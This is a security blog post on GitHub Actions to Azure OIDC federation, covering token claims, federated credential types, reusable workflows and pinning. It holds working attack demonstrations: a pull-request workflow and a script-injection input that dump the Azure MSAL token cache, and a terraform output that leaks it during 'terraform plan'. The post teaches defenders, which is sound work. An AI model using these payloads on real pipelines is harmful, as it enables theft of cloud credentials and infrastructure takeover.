GitHub Actions: A Cloudy Day for Security - Part 2

Posted by Sofia Lindvist on September 08, 2025 · 46 mins read

Binary Security spend a lot of time testing and securing CI/CD setups, especially GitHub Actions. In this two-part series we cover some of the many security considerations when using GitHub Actions, with a focus on securing your CI/CD pipeline against adversaries with contributor access to your GitHub repository. We also look at securely integrating GitHub Actions with Azure using OIDC.

This post is focused purely on the integration with Azure. See part 1 for details on the GitHub Actions side of things.

If you prefer consuming your content in video form, you can view my presentation from NDC Security 2025 here that covers many of the same things as this post.

Outline

  1. Deploying to the Cloud
  2. OpenID Connect (OIDC)
  3. Azure Workload Identity Federation
  4. Reusable Workflows
  5. Summary: GitHub-Azure integration
  6. Conclusion

Deploying to the Cloud

In the previous post we assumed that any access to other services than GitHub can be achieved through secrets in some form. This might be true, but is likely not optimal. In particular, it is usually not recommended to make use of static credentials and tokens, as there is always a chance that they leak. The “modern” way to do access between CI/CD and a cloud provider, is using a concept known as Identity Federation. This really is just OpenID Connect (OIDC) wearing a different hat.

OpenID Connect (OIDC)

There are plenty of resources explaining OIDC, and attempting to properly explain all the details of OIDC would also mean this blog post never sees the light of day, so here I will just give a summary of the most important parts of the OIDC flow specifically when looking at how GitHub workflows can use OIDC to access a third party cloud provider.

The key idea here is that the cloud provider trusts GitHub. So instead of my GitHub Action workflow run needing static credentials to authenticate to the cloud, instead we let GitHub itself sign a token, known as an identity token, which contains information about the running workflow. The cloud provider can then check that the token really was signed by GitHub, and if so, trust the claims within the token.

By using such identity tokens and making them short-lived, one greatly improves the security posture compared to a static credential that potentially is valid for months or years. This works, as GitHub can issue identity tokens on the fly. On the cloud provider’s side the identity token is then exchanged for some sort of access token that is used for further operations in the cloud.

The GitHub ID-token

The following workflow will request an identity token from the GitHub OIDC provider and print it (base64 encoded to avoid censoring).

name: Print OIDC identity token

on:
  workflow_dispatch:

permissions:
  id-token: write

jobs:
  view-token:
    runs-on: ubuntu-latest
    steps:
      - name: get-token
        run: |
          OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
          echo "$OIDC_TOKEN" | base64 -w0

Let’s look at the contents of such a token. It is a JWT with a header that looks something like:

{"alg":"RS256","kid":"38826b17-6a30-5f9b-b169-8beb8202f723","typ":"JWT","x5t":"ykNaY4qM_ta4k2TgZOCEYLkcYlA"}

The payload looks something like:

{
  "actor":"sofiaml",
  "actor_id":"43377234",
  "aud":"https://github.com/ndc-security-demo",
  "base_ref":"",
  "event_name":"workflow_dispatch",
  "exp":1747616047,
  "head_ref":"",
  "iat":1747594447,
  "iss":"https://token.actions.githubusercontent.com",
  "job_workflow_ref":"ndc-security-demo/hello-world/.github/workflows/echo-token.yaml@refs/heads/main",
  "job_workflow_sha":"48487f4089e0f2c207fad4d5544910b5371d466e","jti":"66207bc1-9bca-4c74-9e01-87b2814f2b8e",
  "nbf":1747594147,
  "ref":"refs/heads/main",
  "ref_protected":"true",
  "ref_type":"branch",
  "repository":"ndc-security-demo/hello-world",
  "repository_id":"908605466",
  "repository_owner":"ndc-security-demo",
  "repository_owner_id":"192887639",
  "repository_visibility":"private",
  "run_attempt":"1",
  "run_id":"15099040700",
  "run_number":"6",
  "runner_environment":"github-hosted",
  "sha":"48487f4089e0f2c207fad4d5544910b5371d466e",
  "sub":"repo:ndc-security-demo/hello-world:ref:refs/heads/main",
  "workflow":"View identity token",
  "workflow_ref":"ndc-security-demo/hello-world/.github/workflows/echo-token.yaml@refs/heads/main",
  "workflow_sha":"48487f4089e0f2c207fad4d5544910b5371d466e"
}

The ‘sub’ Claim

Now, it is up to the cloud provider which of these claims to use in order to identify what permissions this workflow should have. Many of these are self explanatory, but a particularly interesting claim is the sub claim, which in the above case looks like:

repo:ndc-security-demo/hello-world:ref:refs/heads/main

Let’s break down what this means:

  • repo:ndc-security-demo/hello-world: this workflow run originates from the repository hello-world in the ndc-security-demo organization.
  • ref:refs/heads/main: this workflow is running off the main branch

What is contained in the sub claim is configurable at the organization or repository level, but the default behavior is that the sub claim value is the result of joining together the following two strings, with a : as separator:

  • the string repo:<organization or username>/<repository name>, uniquely defining the repository, and
  • one of the following three strings, depending on exactly how the workflow was run:
    • environment:<environment name>: if the workflow was run in the <environment name> environment
    • pull_request: if the workflow trigger was one of the pull request events (pull_request, pull_request_target, pull_request_review, pull_request_review_comment) and it was not run in an environment
    • ref:refs/heads/<branch name> or ref:refs/tags/<tag name>: if neither of the above apply, and the workflow was run on the <branch name> branch, or off the <tag name> tag

In order to check what the configured claim value is at the organization or repository level, run the following gh CLI commands:

gh api orgs/<organization>/actions/oidc/customization/sub
gh api repos/<organization>/<repo>/actions/oidc/customization/sub

By default, nothing is set at the organization level, and the repository level uses the default:

By default, no custom claims are configured at the organization level, and the repository level uses the default.

The repository level sub claim can be configured with the following request to the REST API (I usually just get the token used by the gh CLI and make the REST request directly instead of remembering how to use the gh CLI to make REST requests, but I’m sure this can be done with the gh CLI directly too):

PUT /repos/<organization>/<repository>/actions/oidc/customization/sub HTTP/2
Host: api.github.com
Authorization: token <access token>
<...>

{"use_default": false,"include_claim_keys":[<ordered list of claims to include>]}

For example, this sets the sub claim to be repository_owner followed by repository_visibility:

PUT /repos/ndc-security-demo/hello-world/actions/oidc/customization/sub HTTP/2
Host: api.github.com
Authorization: token <access token>
Content-Type: application/json
Content-Length: 90

{"use_default": false,"include_claim_keys":["repository_owner","repository_visibility"]}

When running a workflow from the ndc-security-demo/hello-world repo, the sub claim value is now

repository_owner:ndc-security-demo:repository_visibility:private

Safe claims

It used to be that the order of the configured claim keys in the sub claim mattered for whether or not it was safe (in the sense that it cannot be impersonated by a malicious actor on GitHub that does not have access to the intended workflow). For example, it is possible to create environments with : in their name. Imagine a case where a third-party OIDC integration relies on verifying that the sub claim equals environment:prod:repo:some-org/some-repo. Previously, if a malicious actor ran a workflow in the prod:repo:some-org/some-repo environment of a completely unrelated repository, that was configured to only include the environment claim key, then that resulted in a matching sub value. Nowadays, the :s within the environment name are URL-encoded as %3A within the sub claim value, which invalidates the attack.

However, one can still construct an unsafe sub claim value, for example by not including any claim keys that uniquely identify the organization. An example would be using just the environment claim key, meaning that any repository anywhere can create a matching environment, and thus create the required sub claim value.

Check out PaloAltoNetworks/github-oidc-utils for a table that shows which claims it is safe to use on their own.

Now that we have some general GitHub OIDC things out of the way, let’s have a look at how the OIDC integration is done in Azure.

Azure Workload Identity Federation

The way to grant a GitHub Actions workflow permissions in Azure using OIDC is with a concept known as workload identity federation. First, we need a so-called user-assigned managed identity in Azure. What that really means is that we need to create an app registration (which will have an associated service principal). We then grant the app registration (really the service principal) whatever permissions are needed, and then we can add a Federated Identity Credential to the app. When a GitHub Actions workflow needs access to Azure resources, certain claims in the GitHub ID token are compared to the configured federated identity credential, and if it’s a match the workflow is allowed to assume the identity of the associated app registration.

Let’s look at an example to understand a bit more what’s going on. Say I have a workflow in the ndc-security-demo/hello-world repository on GitHub, that needs to add a file to the https://sofiatest.blob.core.windows.net/hmm container.

First, configure a new app registration in the Azure tenant:

Create an app registration named `sofia-test` in Azure.

Next, navigate to the target container and go to Access Control (IAM)->Role Assignments, and click “Add”.

Add a role assignment to the target container.

In this case we can for example assign the built-in role “Storage Blob Data Contributor” to the app registration:

Assign "Storage Blob Data Contributor" to `sofia-test`.

Next, navigate back to the app registration, go to Manage->Certificates & secrets, select the “Federated credentials” tab and click “Add credential”:

Add a new federated credential to the `sofia-test` app registration.

Under “Federated credential scenario”, select “GitHub Actions deploying Azure resources”. This will auto-fill the issuer to https://token.actions.githubusercontent.com, the audience to api://AzureADTokenExchange, and prompt you to fill in the organization and repository. It then asks for an “Entity type”, with options Environment, Branch, Pull request and Tag. For now, let’s try the “branch” option. We’re then asked for a branch name, for which we use main. With all this filled in, we see that the “Subject identifier” field is auto-filled for us:

The "Subject identifier" value is auto-filled when all other options are selected.

In this case, the “Subject identifier” becomes

repo:ndc-security-demo/hello-world:ref:refs/heads/main

This “subject identifier” is the key to accessing the configured app registration (service principal), and thus the desired blob. When a GitHub actions workflow presents a GitHub ID token to Azure, Azure will verify the iss and aud claims, which will match if the token genuinely came from GitHub, and then Azure checks that the sub claim matches the configured “Subject Identifier”.

Let’s also look at making use of the credential from a GitHub Actions workflow via example. Start by ensuring that the repository has the default subject configured, i.e. include_claim_keys is set to ["repo", "context"] or use_default is set to true. We don’t actually need to implement the OIDC token exchange ourselves, but can use the azure/login action that does it for us. It needs the Azure tenant ID, subscription ID and the ID of the app registration (client ID) to run:

name: Deploy to Azure
on:
  push:
    branches:
      - main
permissions:
  id-token: write
jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - name: 'Az CLI login'
        uses: azure/login@v2
        with:
          client-id: ${{ secrets.AZURE_CLIENT_ID }}
          tenant-id: ${{ secrets.AZURE_TENANT_ID }}
          subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
      - name: Upload file to Azure
        run: |
          az storage blob upload --data "test" -c hmm -n testblob --account-name sofiatest --auth-mode login

When running the workflow, we see that the subject claim has a value repo:ndc-security-demo/hello-world:ref:refs/heads/main, which matches the value of the federated identity credential, and authentication is therefore successful:

Authentication is successful as the federated token matches the configured federated identity credential in Azure.

By default, the azure/login action will login to the Azure CLI, which is why the above action could run the az storage blob upload command.

As a pentester or security researcher, you may want to actually extract an access token, instead of just running Azure CLI as part of the workflow. Recall the workflow we previously used to view the ID token. Modify it to specify the correct audience:

OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")

The ID token can then be exchanged for an Azure access token (in this case I’ve set the scope to graph.microsoft.com, replace it with the desired scope) with:

POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
Host: login.microsoftonline.com
Content-Length: 2192
Content-Type: application/x-www-form-urlencoded

client_id=<app registration client ID>&grant_type=client_credentials&client_assertion=<GitHub ID token>&client_info=1&client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default

We are now ready to look at the security of Azure federated identity credentials configured with the different suggested entity types.

Branch or Tag as Entity Type

In the above example we used the “Branch” entity type, which resulted in a subject identifier of the form repo:<org>/<repo>:ref:refs/heads/<branch>. The only way to get an ID token with a matching subject claim is to run the workflow from the correct branch in the correct repository. This brings us back to the earlier topic of Branch Protections. The federated identity credential is only as protected as the branch it is tied to, and in particular, if there is a federated identity credential tied to an unprotected branch, then it can be accessed by anyone with contributor access to the repository.

If one instead selects the “Tag” entity type, the subject identifier becomes of the form repo:<org>/<repo>:ref:refs/tags/<tag>. In terms of security, this case is nearly identical to the branch case (minus the fact that securing a tag is slightly more convoluted than securing a branch): if there is a federated identity credential tied to an unprotected tag, then it can be accessed by anyone with contributor access to the repository.

Environment as Entity Type

When adding a federated identity credential, if we select “environment” as the entity type, then we are prompted to give an environment name and then the “subject identifier” is auto-completed to for example:

repo:ndc-security-demo/hello-world:environment:prod

This of course brings us back to the topic of Protecting an Environment. The federated identity credential is only as protected as the environment it is tied to, and in particular, if there is a federated identity credential tied to an unprotected environment, then it can be accessed by anyone with contributor access in the repository.

Pull request as Entity Type

Finally, if we select “Pull request” as the entity type then the “subject identifier” is auto-completed to:

repo:ndc-security-demo/hello-world:pull_request

The subject identifier is auto-completed to `repo:ndc-security-demo/hello-world:pull_request`.

From a security point of view, this is bad, as the only requirement is that the workflow runs from a pull request in the correct repository. To demonstrate this, let’s use the above credential.

As a contributor in the hello-world repository of the ndc-security-demo, create two new branches hacker1 and hacker2. On the hacker2 branch, modify an existing workflow to contain the following code:

name: Steal tokens

on:
  pull_request

permissions:
  id-token: write
  contents: read

jobs:
  extract-creds:
    runs-on: ubuntu-latest
    steps:
      - name: azure login
        uses: azure/login@v2
        with:
          client-id: ${{ secrets.AZURE_CLIENT_ID }}
          tenant-id: ${{ secrets.AZURE_TENANT_ID }}
          subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
      - name: Extract access token
        run: |
          cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0 # Az CLI stores its tokens in msal_token_cache.json

Push both branches to the remote, and create a pull request to merge hacker2 into hacker1:

A pull request is created from `hacker2` to `hacker1`.

We have modified our workflow to trigger on pull requests, and so it will automatically run:

The malicious workflow file is run.

It succeeds, and in the final step it prints the double base64-encoded Azure access token retrieved from the MSAL token cache.

Double base64-decoding the printed string gives us the access token:

We successfully exfiltrated an access token.

In other words:

Azure federated identity credentials using the `pull_request` subject identifier are accessible to anyone with collaborator access to the matching repository.

Custom ‘subject identifier’ Value

It is also possible to configure the subject identifier directly, without using the suggested entity types. Whether or not whatever you set up is safe will have to be checked on a case-by-case basis, but as a starting point, take a look at the previous discussion on safe claims.

Reusable Workflows

We’ve seen that it is not effective to put security controls within the workflow file itself, as collaborators simply can edit the controls. This isn’t entirely true, as there is a way to secure a workflow from contributors, namely by placing the workflow in a different repository. This concept is known as Reusable Workflows, and by making a workflow reusable it can be called from other workflows. We have actually already seen several examples of this previously in the post, for example:

<...>
      - name: Add "new" label to issue
        uses: actions-ecosystem/action-add-labels@v1  # The 'uses' keyword means we are calling a reusable workflow
        with:
          github_token: ${{ secrets.GITHUB_TOKEN }}
          labels: new
<...>

From a security point of view, this can be used as follows. As a somewhat contrived example, say that as part of pull requests we want to upload a file to Azure blob storage. However, we want to do some checks on the file before it is uploaded. As we have learned, if these checks are made in the workflow file itself, a contributor may simply remove them.

To solve this, make a second repository that hosts a reusable workflow file that accomplishes this check and file upload:

name: File upload example
on:
  workflow_call:
    secrets:
      azure_tenant_id:
        required: true
      azure_subscription_id:
        required: true
      azure_client_id:
        required: true
    inputs:
      file_contents:
        description: 'Contents that should be uploaded'
        required: true
        type: string
permissions:
  id-token: write
  contents: read
jobs:
  check-file:
    runs-on: ubuntu-latest
    steps:
      - name: az login
        uses: azure/login@v2
        with:
          client-id: ${{ secrets.azure_client_id}}
          tenant-id: ${{ secrets.azure_tenant_id}}
          subscription-id: ${{ secrets.azure_subscription_id}}
      - name: Example Security Check
        run: |
          echo "Checking file contents"
          if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
            echo "Malicious content detected!"
            exit 1
          else
            echo "File contents are safe."
          fi
      - name: Upload file
        run: |
          az storage blob upload \
            --account-name sofiatest \
            -n testblob \
            -c hmm \
            --name myfile.txt \
            --file <(echo "${{ inputs.file_contents }}") \
            --auth-mode login

The trick here is then to lock down the reusable workflow repository so that only a select few users have access to it. The following workflow calls the reusable workflow:

name: File upload
on:
  pull_request:
    branches: [main]
permissions:
  id-token: write
  contents: read
jobs:
  upload_file:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout repository
        uses: actions/checkout@v4
      - name: Read file contents
        id: file_reader
        run: |
          FILE_CONTENTS=$(cat my-file.txt)
          echo "file_contents=$FILE_CONTENTS" >> "$GITHUB_OUTPUT"
  call-reusable:
    needs: upload_file
    uses: ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@main
    with:
      file_contents: ${{ needs.upload_file.outputs.file_contents }}
    secrets:
      azure_tenant_id: ${{ secrets.AZURE_TENANT_ID }}
      azure_client_id: ${{ secrets.AZURE_CLIENT_ID }}
      azure_subscription_id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}

So far, we’ve moved the key workflow code to a separate repository that the typical collaborator does not have collaborator access to. But what is stopping us from just doing what the reusable workflow does directly in our own workflow?

The ‘job_workflow_ref’ claim

One of the claims that is included in the GitHub Actions ID token is the job_workflow_ref claim. When a workflow in the ndc-security-demo/hello-world repo calls a reusable workflow in the ndc-security-demo/reusable-workflows repo, it evaluates to:

ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main

The `job_workflow_ref` references the reusable workflow file, not the calling workflow file.

Note that this identifies the workflow file in the reusable-workflows repo, which our malicious contributor does not have access to. Let’s now configure a federated identity credential in Azure with a subject identifier that matches on the calling repo and the called workflow file:

repo:ndc-security-demo/hello-world:job_workflow_ref:ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main

Add a federated identity credential with a custom subject identifier.

We also need to configure the hello-world repo to include the correct claims in the ID token:

PUT /repos/ndc-security-demo/hello-world/actions/oidc/customization/sub HTTP/2
Host: api.github.com
Authorization: token <access token>
<...>

{"use_default": false,"include_claim_keys":["repo", "job_workflow_ref"]}

If we now try to get an Azure access token directly from a workflow in the hello-world repository it will fail:

The presented `sub` claim is not right if the code is running in a workflow in the `hello-world` repository.

This is because the presented sub claim when running code from a workflow in the hello-world repo is:

repo:ndc-security-demo/hello-world:job_workflow_ref:ndc-security-demo/hello-world/.github/workflows/deploy-azure.yaml@refs/heads/main

However, when we call the intended reusable workflow, it succeeds in authenticating to Azure:

The reusable workflow in the `reusable-workflows` repo is able to authenticate to Azure.

In summary, the job_workflow_ref claim will point to the workflow file that we are currently in, whether that be the original workflow file that was run, or a workflow file called by some other workflow. So malicious code that tries to use a federated credential that specifies the job_workflow_ref has to actually be in the specified workflow file.

Am I safe?

Finally we have a way to safely put security controls within the workflow file itself! Or do we? Recall the Script Injection vulnerability in the previous post. Looking closely at the reusable workflow file from above, we find this bit of code:

      - name: Example Security Check
        run: |
          echo "Checking file contents"
          if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
          <...>

The keen-eyed reader will notice a script injection vulnerability in the way inputs.file_contents is used. Let’s modify the workflow file in the hello-world repo to exploit this:

<...>
jobs:
  call-reusable:
    uses: ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@main
    with:
      file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'
    secrets:
      azure_tenant_id: ${{ secrets.AZURE_TENANT_ID }}
      azure_client_id: ${{ secrets.AZURE_CLIENT_ID }}
      azure_subscription_id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}

Run the malicious workflow, and observe that we get the Azure access token:

The script injection payload exfiltrates the Azure access token.

This demonstrates one of many ways in which the reusable workflow setup can be vulnerable. In general, a reusable workflow is only safe if there is no way for the calling workflow to manipulate what code is run. Script injection is just one of many ways in which this can happen, as we shall see next.

The Case of ‘terraform plan’

A recurring challenge we see in our customer’s setup, arises when wanting to use GitHub Actions to deploy to Azure using terraform. You don’t need to know much about terraform to understand this example, but the basic premise is that once you’ve modified your terraform files (which define what is going to be deployed), you run a command terraform plan, which then checks the current state of any already existing remote infrastructure, determines the difference between the existing infra and your new configuration and then gives a series of changes that will be made to the remote infrastructure to bring it to your current configuration (i.e. a plan). You can then inspect this output and determine if everything looks sane, and if it does you next run terraform apply to actually apply the plan and make the changes to the remote infrastructure.

For ease of development, the typical setup one wants is that terraform plan runs on pull requests to the production branch, so the output can be used to catch errors before merging the code. Then, once the code is merged into the production branch, terraform apply is run.

Take a moment to think about how you would set this up. First of all, the workflow running either terraform command needs access into Azure, to either read (in the case of plan) or modify (in the case of apply) your currently deployed resources. It may be tempting to use a single app registration (service principal) for all terraform commands, in which case that service principal will effectively have complete control over your Azure infrastructure. As you already know from our discussion on using pull_request in the subject identifier, if you’re going to allow any workflow running on a pull request to the production branch access to a federated identity, then you’ve just granted all contributors to your repository complete control of your infrastructure.

One may attempt to solve this using a reusable workflow. In a locked-down reusable-workflows repo, add the following workflow:

name: terraform
on:
  workflow_call:
    secrets:
      azure_tenant_id:
        required: true
      azure_subscription_id:
        required: true
      azure_client_id:
        required: true
permissions:
  id-token: write
  contents: read
jobs:
  terraform:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout
        uses: actions/checkout@v4
      - name: az login
        uses: azure/login@v2
        with:
          client-id: ${{ secrets.azure_client_id}}
          tenant-id: ${{ secrets.azure_tenant_id}}
          subscription-id: ${{ secrets.azure_subscription_id}}
      - name: setup terraform
        uses: hashicorp/setup-terraform@v3
      - name: terraform init
        run: terraform init
      - name: terraform plan
        run: terraform plan
      - name: terraform apply
        if: ${{ github.ref == 'refs/heads/main' }}
        run: terraform apply -auto-approve

This is innocent enough. It authenticates to Azure using federated identity credentials, and then runs various terraform commands. The sensitive terraform apply command is only run if the workflow is running off the main (production) branch.

In the hello-world repo, add the following workflow that calls the newly created terraform workflow:

name: run terraform plan and apply
on:
  workflow_dispatch
permissions:
  id-token: write
  contents: read
jobs:
  terraform:
    uses: ndc-security-demo/reusable-workflows/.github/workflows/reusable-terraform.yaml@main
    secrets:
      azure_tenant_id: ${{ secrets.AZURE_TENANT_ID }}
      azure_client_id: ${{ secrets.AZURE_CLIENT_ID }}
      azure_subscription_id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}

Then, add a Federated Identity Credential in Azure to the target app registration (service principal) with subject identifier:

repo:ndc-security-demo/hello-world:job_workflow_ref:ndc-security-demo/reusable-workflows/.github/workflows/reusable-terraform.yaml@refs/heads/main

This checks:

  • That the workflow run originates from the hello-world repo in the ndc-security-demo organization.
  • That the currently calling bit of code originates from the workflow file at .github/workflows/reusable-terraform.yaml in the reusable-workflows repo of the ndc-security-demo organization, and that said workflow file is on the main branch of that repo.

Let us also assume that I, a malicious person, have contributor access to the hello-world repo, read access to the reusable-workflows repo and that the hello-world repo has proper branch protections set up on their main branch. The obvious attack here to compromise this organization’s Azure infrastructure is to attempt to get the workflow to successfully authenticate to Azure and then run terraform apply with my malicious code.

But the reusable-terraform.yaml file is locked down, so I can’t simply edit out the check for the main branch, or otherwise modify the workflow to do my malicious deeds.

As a slight side note, if the federated identity credential were set up to only match on the job_workflow_ref, and didn’t also include the repo claim, then a different attack opens up. In this case, I could create a completely new repo in the ndc-security-demo organization, sofia-test, which I would now be the administrator of. As an administrator, there is no issue committing whatever malicious code to my own repo’s main branch. So then I would push my malicious code directly to the main branch of sofia-test, and make a workflow that uses the reusable-terraform.yaml workflow. The federated identity credential subject identifier would match, and within the reusable-terraform.yaml workflow the check whether we are currently on the main branch would succeed, thus executing terraform apply with my malicious code.

Side note aside, even in the “proper” setup, there is a way to achieve my malicious goals. The key to this, is that actually the terraform plan command allows for arbitrary code execution.

As a malicious user in the hello-world repository, modify (or add) a terraform file to have the following contents:

output "msal_token_cache" {
    value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
}

All this does, is read the MSAL token cache (which has the Azure access token) and output the doubly base64-encoded contents of it. And notably, this step will run as part of terraform plan. We could also get more fancy and execute arbitrary commands by using the external data source in terraform.

Then, modify a workflow to run on our hacker branch, and to call the reusable-terraform.yaml workflow. This will then run successfully:

The workflow run successfully authenticates to Azure.

As expected, the terraform plan step will exfiltrate the Azure access token:

The 'terraform plan' step exfiltrates the Azure access token.

In this example, running terraform plan with user-controllable terraform files could of course be any number of similar operations, like deploying other infrastructure-as-code technologies, building user-controllable source code or running user-controllable code. There could also be further dependencies on other workflows or packages that are not as locked down as the reusable workflow file. The moral here is that completely locking down a workflow file is hard, and ensuring that it is safe will probably have to be checked on a case by case basis.

Pinning

When talking about reusable workflows, the topic of pinning should also be discussed. In the examples of calling workflows we’ve seen so far, they have always been tied to either a branch or a tag with the syntax <path to action>@<branch or tag>, e.g. ndc-security-demo/reusable-workflows/.github/workflows/reusable-terraform.yaml@main. There is another option, which is to tie the workflow file to a specific commit SHA as follows:

name: run terraform plan and apply
on:
  workflow_dispatch
permissions:
  id-token: write
  contents: read
jobs:
  terraform:
    uses: ndc-security-demo/reusable-workflows/.github/workflows/reusable-terraform.yaml@6e0e1a08367bc26a4cd2fbb00f70f3e403dba49e
    secrets:
      azure_tenant_id: ${{ secrets.AZURE_TENANT_ID }}
      azure_client_id: ${{ secrets.AZURE_CLIENT_ID }}
      azure_subscription_id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}

Now, even if the ndc-security-demo/reusable-workflows repository were to be completely compromised, our calling repository wouldn’t be affected, as the commit hash ensures we’re still using the expected version of the workflow.

In general, whenever using a workflow from an untrusted third party, it should be pinned to a commit hash, to protect against attacks like the recent supply chain attack compromise of tj-actions.

Summary: GitHub-Azure integration

In summary, if you want to integrate GitHub actions with your Azure resources using federated identities (which is what you should be using to integrate the two, even if this post may make it seem like it is completely broken), and you don’t want a single contributor to be able to take control of your infrastructure, then you should:

  • Ensure that all federated identity credentials have a subject identifier that specifies the organization and repository in some way.
  • Never use the pull request entity type on a federated identity credential that gives access to anything sensitive. I.e., the subject identifier in the federated identity credential should never be of the form repo:<repo>:pull_request.
  • For sensitive credentials with subject identifiers tied to an environment, branch or tag, ensure that the corresponding GitHub environment, branch or tag is protected as described above in part1.
  • If using any other claims than the standard ones (repo plus branch, environment or tag), ensure that the corresponding GitHub resource or property is as secure as you intend the federated identity credential to be.
  • If using the job_workflow_ref claim to tie a credential to a “safe” workflow, ensure that the workflow really is safe, and that it has no mechanism for the caller to execute their own code.
  • Follow the principle of least privilege with the permissions you hand out to app registrations (service principals) with federated identity credentials. This is good advice in general, not just for these integrations.

Conclusion

The topic of security in GitHub Actions is obviously much larger than what I manage to cover in a couple of blog posts. At the end of the day, if you have a GitHub CI/CD setup and want to be as secure as possible, the best thing you can do is probably to perform a security test, either as part of a bigger penetration test or as a standalone exercise.